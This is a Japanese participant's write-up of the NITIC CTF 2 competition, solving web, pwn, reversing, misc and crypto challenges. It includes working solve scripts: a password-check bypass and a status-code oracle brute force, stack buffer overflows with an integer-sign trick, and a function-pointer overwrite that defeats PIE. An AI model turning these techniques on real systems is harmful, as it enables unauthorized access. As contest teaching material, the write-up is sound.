🐣

NITIC CTF 2 参加記

2021/09/07に公開

はじめに

NITIC CTF 2にVLANouroborosのHK_ilohasとして参加しました。Cryptoばっかりやってる初心者なので、普段手を付けない他ジャンルの問題も若干解けて嬉しかったです。Webのweb_metalong flagは別のメンバーが解いたので、それ以外の自分が解いた問題のwriteupを書きます。

[Web] password

怪しげなパスワードチェックをしている問題です。

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])
def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True

この部分で、もしcstring.ascii_lettersだったら通るのでは?となりました。

        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False

というわけで、string.ascii_letters x 32 のJSONを送りつけてみました。

$ curl -X POST -H "Content-Type: application/json" -d '{"pass": ["abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}' http://34.146.80.178:8001/flag
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

[Web] password fixed

前問のような非想定解が使えないように修正が入りました。

def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            if password[i] not in "0oO":
                return False
            continue
        if input_pass[i] in "l1I":
            if password[i] not in "l1I":
                return False
            continue
        if input_pass[i] != password[i]:
            return False
    return True

色々とローカルで試してみたところ、リストのリストを送りつけるとlistとstringの比較になり、500が返ってくることが分かりました。

import requests
import json


input_pass = [[] for _ in range(32)]

response = requests.post(
    "http://localhost:8080/flag",
    json.dumps({"pass": input_pass}),
    headers={"Content-Type": "application/json"}
)

127.0.0.1 - - [06/Sep/2021 21:30:23] "POST /flag HTTP/1.1" 500 -

普通にパスワードが違う場合は401が返されるため、これを利用してパスワードを1文字ずつ探索することができます。最後の1文字は200が返ってくるまで試しました。

import requests
import json
import string


input_pass = [[] for _ in range(32)]

for i in range(32):
    for c in string.ascii_letters:
        input_pass[i] = c
        response = requests.post(
            "http://34.146.80.178:8002/flag",
            json.dumps({"pass": input_pass}),
            headers={"Content-Type": "application/json"}
        )
        if response.status_code == 500:
            print("".join(input_pass[:i+1]))
            break
        elif response.status_code == 200:
            print("".join(input_pass[:i+1]))
            print(response.text)
            break

$ python3 solve.py
r
rm
rmW
rmWt
rmWtc
rmWtcm
rmWtcmb
rmWtcmbN
rmWtcmbNU
rmWtcmbNUo
rmWtcmbNUoK
rmWtcmbNUoKP
rmWtcmbNUoKPo
rmWtcmbNUoKPoM
rmWtcmbNUoKPoME
rmWtcmbNUoKPoMEC
rmWtcmbNUoKPoMECA
rmWtcmbNUoKPoMECAt
rmWtcmbNUoKPoMECAtY
rmWtcmbNUoKPoMECAtYw
rmWtcmbNUoKPoMECAtYwX
rmWtcmbNUoKPoMECAtYwXK
rmWtcmbNUoKPoMECAtYwXKx
rmWtcmbNUoKPoMECAtYwXKxy
rmWtcmbNUoKPoMECAtYwXKxyo
rmWtcmbNUoKPoMECAtYwXKxyoC
rmWtcmbNUoKPoMECAtYwXKxyoCb
rmWtcmbNUoKPoMECAtYwXKxyoCbb
rmWtcmbNUoKPoMECAtYwXKxyoCbbt
rmWtcmbNUoKPoMECAtYwXKxyoCbbtX
rmWtcmbNUoKPoMECAtYwXKxyoCbbtXN
rmWtcmbNUoKPoMECAtYwXKxyoCbbtXNo
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

[Pwn] pwn monster 1

モンスターの名前を入力すると、BOFでHPとATKを書き換えられる問題です。

typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
} Monster;
$ nc 35.200.120.35 9001
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x6161616161616161 |  7016996765293437281 |
|ATK     | 0x6161616161616161 |  7016996765293437281 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwnchu HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 7016996765293437281 damage!


[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaapwnchu HP: 7016996765293437281
[Rival] pwnchu HP: -7016996765293427282
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

*** stack smashing detected ***: terminated
Aborted (core dumped)

pwnchuにクスッと笑いましたw

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

[Pwn] pwn monster 2

今度は改ざんしたとしても、HPとATKの和が一致しないとダメだよーって問題です。

void give_monster_name(Monster *monster) {
    printf("Let's give your monster a name!\n");
    print_monster_infomation(*monster);

    int64_t checksum = monster->hp + monster->attack;

    printf("Checksum: %ld\n", checksum);

    printf("Input name: ");
    scanf("%s%*c", monster->name);

    print_monster_infomation(*monster);

    printf("Checksum: %ld\n", monster->hp + monster->attack);

    if (monster->hp + monster->attack != checksum) {
        puts("Detect cheat.");
        exit(1);
    }

    puts("OK, Nice name.");
}
$ nc 35.200.120.35 9002
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key

Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x6161616161616161 |  7016996765293437281 |
|ATK     | 0x6161616161616161 |  7016996765293437281 |
+--------+--------------------+----------------------+
Checksum: -4412750543122677054
Detect cheat.

ここで、Monster構造体の定義を見直してみると、hpattackは符号付き64ビット整数でした。そのため、MSBが1のときは補数を取って負の値になります。

typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
} Monster;

hpが負だと誕生した瞬間から死んでるので、attackを負の値にして調整しました。

from pwn import *


r = remote("35.200.120.35", 9002)

r.recvuntil(b"Input name: ")

payload = b"a" * 16
payload += b"\xff" * 7 + b"\x7f"
payload += b"\x6f" + b"\x00" * 6 + b"\x80"

r.sendline(payload)

r.interactive()

$ python3 solve.py
[+] Opening connection to 35.200.120.35 on port 9002: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x7fffffffffffffff |  9223372036854775807 |
|ATK     | 0x800000000000006f | -9223372036854775697 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -9223372036854775697 damage!
[You] aaaaaaaaaaaaaaaa\xff\xff\xff\xff\xff\xff\xff\x7fo HP: 9223372036854775807
[Rival] pwnchu HP: -9223372036854765920
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}

久しぶりに補数を考えたので、脳がバグりました・・・

nitic_ctf{buffer_and_1nteger_overfl0w}

[Pwn] pwn monster 3

Monster構造体に関数ポインタが増えている問題です。

typedef struct {
    char name[16];
    int64_t hp;
    int64_t attack;
    char* (*cry)();
} Monster;
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
|cry()   | 0x000055e5c3d7734e |                      |
+--------+--------------------+----------------------+

cryshow_flagのアドレスに書き換えてあげるとフラグが出そうです。しかし、この問題ではPIEが有効なので、表示されているcryのアドレスから0x134eを引いて、Base Addressを計算する必要があります。

000000000000134e <my_monster_cry>:
    134e:       f3 0f 1e fa             endbr64
    1352:       55                      push   rbp
    1353:       48 89 e5                mov    rbp,rsp
    1356:       48 8d 05 5d 0e 00 00    lea    rax,[rip+0xe5d]        # 21ba <_IO_stdin_used+0x1ba>
    135d:       5d                      pop    rbp
    135e:       c3                      ret

後は、求まったBase Addressにshow_flagのアドレスを足したものを送りつけます。

0000000000001286 <show_flag>:
    1286:       f3 0f 1e fa             endbr64
    128a:       55                      push   rbp
    128b:       48 89 e5                mov    rbp,rsp
    128e:       48 81 ec 20 01 00 00    sub    rsp,0x120
    1295:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
from pwn import *


r = remote("35.200.120.35", 9003)

r.recvuntil(b"cry()   |")
cry_addr = r.recvuntil(b"|").replace(b"|", b"")
cry_addr = int(cry_addr.strip(), 16)

base_addr = cry_addr - 0x134e
show_flag_addr = base_addr + 0x1286

r.recvuntil(b"Input name:")

payload = b"a" * 32
payload += p64(show_flag_addr)
r.sendline(payload)

r.interactive()

$ python3 solve.py
[+] Opening connection to 35.200.120.35 on port 9003: Done
[*] Switching to interactive mode
 +--------+--------------------+----------------------+
|name    | 0x6161616161616161 |             aaaaaaaa |
|        | 0x6161616161616161 |             aaaaaaaa |
|HP      | 0x6161616161616161 |  7016996765293437281 |
|ATK     | 0x6161616161616161 |  7016996765293437281 |
|cry()   | 0x0000557d143bf286 |                      |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x86\xf2;}U HP: 7016996765293437281
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}
nitic_ctf{rewrite_function_pointer_is_fun}

[Misc] Excel

Excelでフラグを文字列検索するだけです。

nitic_ctf{plz_find_me}

[Misc] image_conv

いい感じに2値化処理をかけました。

nitic_ctf{high_contrast}

[Misc] braincheck

Brainf*ckの問題です。

>,>,[>+>+<<-]>>[<<+>>-]<<[-<->]<-----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++[<----->-]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<--[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<----[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++[<----->-]<[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]<---[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<---------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<------[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>+++++++[<----->-]<-[<+>[-]]>>[<<+>>-]<,[>+>+<<-]>>[<<+>>-]<<[-<->]<>++++++++++++++++++++++++++++++++++++++[<----->-]<----[<+>[-]]>>[<<+>>-]<,>>+<<<[-]<[[-]>+++++++++++++++++[<+++++>-]<++.>+++++[<+++++>-]<++.---.-.-------.>>>>-<<<<[-]]>>>>[[-]>+++++++++++++[<+++++>-]<++.>++++++++[<+++++>-]<++++.+++..>++[<----->-]<---.--.>+++[<+++++>-]<++.[-]]

Brainf*ckの各記号は次の意味を持ちます。

記号 意味
> ポインタを右に1つ移動する
< ポインタを左に1つ移動する
+ セルの値を1増やす
- セルの値を1減らす
. セルの内容を出力する
, 入力を受け取り、セルにセットする
[ セルの値が0なら対応する]にジャンプする
] 対応する[にジャンプする

これに従って素直にプログラムを読みました。

>,>,[>+>+<<-]
>>[<<+>>-]
<<[-<->]
<-----[<+>[-]]

最初の文字をn、その次の文字をc1とすると、[<+>[-]]が実行されないためには、n - c1 - 50になる必要があります。よって、c1110 - 5 = 105iになります。

>>[<<+>>-]
<,[>+>+<<-]
>>[<<+>>-]
<<[-<->]
<>+++++++++++++++++++++++++++++++++++++++++++++++++[<----->-]
<[<+>[-]]

同様に見ていくと、c2 = n - 5 - 49*5 = -140と負の値が出てきます。しかし、1セル8ビットなので、-140 + 256 = 116tとなります。これを頑張って続けていくとフラグが得られます。

nitic_ctf{esoteric?}

[Rev] protected

stringsで出てきたそれっぽい文字列を入力しました。

$ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}
nitic_ctf{hardcode_secret}

[Rev] report or repeat

PDFが暗号化されている問題です。暗号化処理の部分をGhidraで読んでみると、256バイトずつ置換とXORをしていました。

for (i = 0; i < 0x100; i = i + 1) {
    *(byte *)(param_2 + i) =
        PTR_DAT_00104120[*(byte *)(param_1 + (ulong)(byte)(&DAT_00104020)[i])] ^
        *(byte *)((long)&local_118 + (long)i);
}

Ghidra Scriptで頑張ってデータを取り出して、復号処理を書きました。

data_118 = [0x72, 0x1e, 0xec, 0x52, 0x38, 0xe9, 0xb5, 0xc2, 0x46, 0x47, 0x75, 0x1f, 0x53, 0xf, 0xea, 0x27, 0xcf, 0x57, 0xd7, 0x6e, 0x8c, 0x8c, 0x89, 0x2a, 0xf2, 0x86, 0x8a, 0x7b, 0x19, 0x7a, 0x2e, 0x1, 0xab, 0x15, 0x8, 0xd3, 0x2b, 0x5b, 0x9f, 0x7c, 0x86, 0xde, 0x5d, 0x98, 0x3c, 0x6f, 0x82, 0x58, 0xf2, 0xea, 0x85, 0x62, 0xa5, 0x77, 0xf3, 0x9e, 0x3e, 0x37, 0x10, 0x8b, 0x9e, 0xa0, 0x71, 0x1b, 0xce, 0x9d, 0x7e, 0x2f, 0xb3, 0x17, 0x1, 0x65, 0x14, 0x5c, 0x79, 0x2f, 0xad, 0xe1, 0x28, 0xf9, 0x55, 0x92, 0x3a, 0x69, 0x1f, 0x12, 0x5e, 0xa6, 0x41, 0xa4, 0xdb, 0xda, 0x47, 0x3b, 0xe3, 0x28, 0x8, 0x9, 0xe9, 0x9c, 0xfa, 0x22, 0x7c, 0x62, 0xd2, 0x5, 0x28, 0x86, 0x95, 0xe4, 0x45, 0x8e, 0xd2, 0xe7, 0xeb, 0x66, 0xed, 0x58, 0x64, 0x42, 0xba, 0xa9, 0x70, 0x21, 0xa0, 0x91, 0x51,
            0x68, 0xff, 0x7e, 0xa9, 0x6c, 0x12, 0x33, 0xbb, 0x7a, 0xde, 0x1b, 0xe0, 0xed, 0xce, 0x7c, 0x4, 0x1, 0xcf, 0x23, 0x17, 0x36, 0x78, 0x1b, 0x6, 0xd3, 0x5e, 0x25, 0x5e, 0x98, 0x86, 0x50, 0x4a, 0xd, 0x31, 0xc, 0x39, 0x96, 0x6e, 0x72, 0x2b, 0xc2, 0xf, 0x31, 0xdd, 0x4c, 0xd7, 0x44, 0xa9, 0xf9, 0xb7, 0xed, 0x40, 0xb9, 0x68, 0x73, 0xa6, 0xb0, 0xef, 0x3e, 0x2e, 0x37, 0x3, 0xb6, 0xe4, 0x4c, 0xcb, 0x5d, 0x83, 0x74, 0x10, 0xf0, 0x54, 0x62, 0xc1, 0x28, 0xdf, 0x5c, 0xff, 0xa7, 0x6e, 0x84, 0x59, 0x39, 0xeb, 0x63, 0xa0, 0x5b, 0x17, 0x3d, 0x97, 0xee, 0xcb, 0x8b, 0x21, 0x7b, 0x77, 0x98, 0xd5, 0xa9, 0x59, 0x44, 0x8d, 0x38, 0x70, 0x6, 0xef, 0x7b, 0x63, 0x10, 0x7, 0x44, 0x51, 0xe9, 0x89, 0x29, 0xce, 0x3d, 0x5a, 0x4a, 0xc, 0x33, 0x32, 0x21, 0x65, 0xd1, 0x6d, 0x7f, 0xd5, 0x81]

data_102008 = [6, 140, 119, 134, 17, 237, 37, 137, 102, 100, 121, 125, 201, 13, 165, 153, 68, 107, 113, 71, 170, 158, 27, 10, 195, 191, 30, 110, 166, 130, 240, 97, 132, 53, 66, 144, 135, 178, 176, 194, 61, 244, 18, 115, 69, 62, 233, 205, 38, 65, 51, 164, 91, 45, 83, 232, 58, 197, 188, 24, 229, 186, 129, 235, 88, 159, 73, 204, 47, 172, 207, 138, 11, 72, 36, 156, 162, 180, 21, 208, 31, 25, 211, 22, 243, 7, 75, 120, 128, 52, 226, 49, 193, 87, 0, 126, 94, 112, 84, 33, 105, 155, 70, 106, 182, 203, 154, 64, 185, 23, 109, 89, 252, 234, 96, 50, 223, 117, 227, 98, 56, 167, 133, 215, 3, 241, 131,
               181, 85, 95, 238, 253, 173, 14, 108, 163, 32, 192, 19, 8, 2, 90, 114, 157, 93, 251, 136, 147, 249, 57, 116, 216, 210, 79, 4, 103, 63, 206, 225, 77, 213, 202, 44, 148, 43, 219, 9, 42, 55, 231, 149, 41, 78, 34, 1, 15, 220, 212, 200, 86, 122, 20, 248, 184, 48, 67, 168, 169, 245, 141, 92, 171, 111, 150, 26, 35, 74, 12, 46, 81, 214, 146, 199, 82, 142, 228, 76, 101, 104, 151, 187, 5, 221, 190, 239, 139, 183, 152, 118, 196, 218, 179, 123, 161, 54, 160, 145, 175, 246, 250, 224, 16, 39, 28, 189, 254, 80, 222, 124, 242, 177, 174, 198, 217, 230, 60, 209, 127, 255, 99, 29, 236, 59, 143, 40, 247]

data_104020 = [87, 133, 14, 59, 165, 47, 76, 10, 113, 117, 213, 5, 255, 11, 68, 42, 212, 181, 17, 250, 103, 35, 189, 172, 156, 71, 157, 34, 90, 239, 99, 57, 229, 191, 126, 70, 100, 227, 46, 209, 185, 64, 146, 136, 169, 163, 2, 80, 196, 53, 125, 54, 207, 233, 184, 150, 173, 152, 102, 116, 134, 195, 236, 15, 28, 81, 232, 31, 193, 217, 22, 127, 192, 168, 244, 52, 194, 25, 55, 234, 24, 66, 139, 237, 218, 161, 40, 30, 60, 110, 167, 138, 9, 149, 148, 109, 158, 61, 74, 143, 140, 39, 95, 231, 222, 248, 224, 114, 106, 130, 145, 235, 8, 249, 245, 226, 33, 45, 225, 243, 198, 186, 122, 115, 1, 93,
               206, 63, 89, 238, 203, 96, 65, 210, 88, 246, 180, 85, 120, 98, 112, 78, 178, 164, 187, 219, 220, 41, 155, 151, 247, 36, 118, 75, 147, 160, 67, 204, 123, 230, 56, 162, 101, 197, 216, 58, 38, 141, 105, 199, 188, 7, 37, 177, 94, 251, 176, 19, 119, 175, 73, 153, 205, 202, 4, 190, 108, 183, 86, 107, 23, 128, 135, 43, 69, 129, 142, 104, 241, 83, 51, 166, 253, 211, 13, 44, 20, 124, 32, 131, 144, 79, 26, 137, 240, 254, 50, 223, 214, 6, 27, 208, 170, 174, 121, 221, 132, 228, 3, 18, 154, 111, 171, 215, 29, 62, 201, 12, 159, 48, 16, 84, 179, 242, 21, 97, 92, 182, 49, 91, 77, 200, 252, 72, 82, 0]

fin = open("./report.pdf.enc", "rb")
fout = open("./decrypt.pdf", "wb")

while enc := fin.read(0x100):
    output = [0 for _ in range(0x100)]

    for i in range(0x100):
        val = data_102008.index(enc[i] ^ data_118[i])
        output[data_104020[i]] = val

    fout.write(bytes(output))

nitic_ctf{xor+substitution+block-cipher}

[Crypto] Caesar Cipher

フラグの中身がシーザー暗号で暗号化されています。 暗号化されたフラグの中身はfdhvduです。

nitic_ctf{復号したフラグの中身}

を提出してください

単純なシーザー暗号です。

nitic_ctf{caesar}

[Crypto] ord_xor

import os
flag = os.environ["FLAG"]


def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


enc_flag = ""
for i in range(len(flag)):
    enc_flag += xor(flag[i], i)

with open("./flag", "w") as f:
    f.write(enc_flag)

ループ変数でXORしてるだけなので、同じ処理をしたらOK。

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


enc = "nhtjcZcsfroydRx`rl"
flag = ""

for i, c in enumerate(enc):
    flag += xor(c, i)

print(flag)

$ python3 solve.py
nitic_ctf{ord_xor}
nitic_ctf{ord_xor}

[Crypto] tanitu_kanji

import os
alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

format = os.environ["FORMAT"]
flag = os.environ["FLAG"]

assert len(format) == 10


def conv(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = alphabets.index(c)
        res += table[i]
    return res


for f in format:
    if f == "1":
        flag = conv(flag, after1)
    else:
        flag = conv(flag, after2)

with open("./flag", "w") as file:
    file.write(flag)

せいぜい1024通りしかないので、簡単に総当りできます。

def conv(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = table.index(c)
        res += alphabets[i]
    return res


alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1 = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2 = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

enc = "l0d0pipdave0dia244im6fsp8x"

for n in range(2**10):
    flag = enc
    F = "{:010b}".format(n)

    for f in F:
        if f == "1":
            flag = conv(flag, after1)
        else:
            flag = conv(flag, after2)

    print(flag)

$ python3 solve.py | grep nitic
nitic_ctf{bit_full_search}
nitic_ctf{bit_full_search}

[Crypto] summeRSA

from Crypto.Util.number import *
from random import getrandbits

with open("flag.txt", "rb") as f:
	flag = f.read()
	assert len(flag) == 18


p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q

m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)

e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")

e が小さく、フラグの大半が分かっている問題です。フラグは18文字でかつ、nitic_ctf{}という書式なので、未知の部分は7バイトだけです。そのため、Coppersmith法で未知の部分が計算できます。未知の部分を寝ぼけて8バイトだと思ったせいで、謎に苦戦してました・・・

from Crypto.Util.number import long_to_bytes, bytes_to_long


N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

m_bar = b"the magic words are squeamish ossifrage. nitic_ctf{" + b"\x00"*7 + b"}"
m_bar = bytes_to_long(m_bar)

PR.<x> = PolynomialRing(Zmod(N))
f = (m_bar + x * 2^8)^e - c
f = f.monic()
diff = f.small_roots(X=2^56)[0]

m = m_bar + diff * 2^8
print(long_to_bytes(m).decode())

$ sage solve.sage
the magic words are squeamish ossifrage. nitic_ctf{k01k01!}
nitic_ctf{k01k01!}

Discussion